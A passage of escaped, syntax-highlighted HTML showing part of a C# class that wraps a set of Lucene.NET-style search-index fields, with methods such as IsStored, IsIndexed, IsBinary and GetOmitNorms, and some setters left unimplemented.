class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;187&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;188&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStreamValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;189&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StringReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StringValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;190&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;191&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;192&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStored&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;193&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;194&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;195&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;196&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;197&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsIndexed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;198&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;199&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;201&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;202&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTokenized&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;203&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;204&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;205&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;206&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;207&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsCompressed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;208&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;209&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;210&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;211&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;212&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTermVectorStored&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;213&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;214&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;215&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;216&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;217&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStoreOffsetWithTermVector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;218&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;219&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;220&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;221&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;222&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStorePositionWithTermVector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;223&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;224&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;225&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;226&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;227&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsBinary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;228&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;229&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;230&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsBinary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;231&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;232&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;233&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;234&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;235&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;236&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;237&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;238&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;239&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;240&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;241&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;242&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;243&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;omitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;244&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;245&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;246&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;247&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;248&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;omitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;249&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;250&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;251&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;252&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;253&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;254&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;256&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;257&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;258&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;259&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;260&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;261&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsLazy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;262&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;263&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;264&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    if (!f.GetOmitNorms()) return false;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;265&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;266&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;267&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;268&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;269&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryOffset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;270&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span 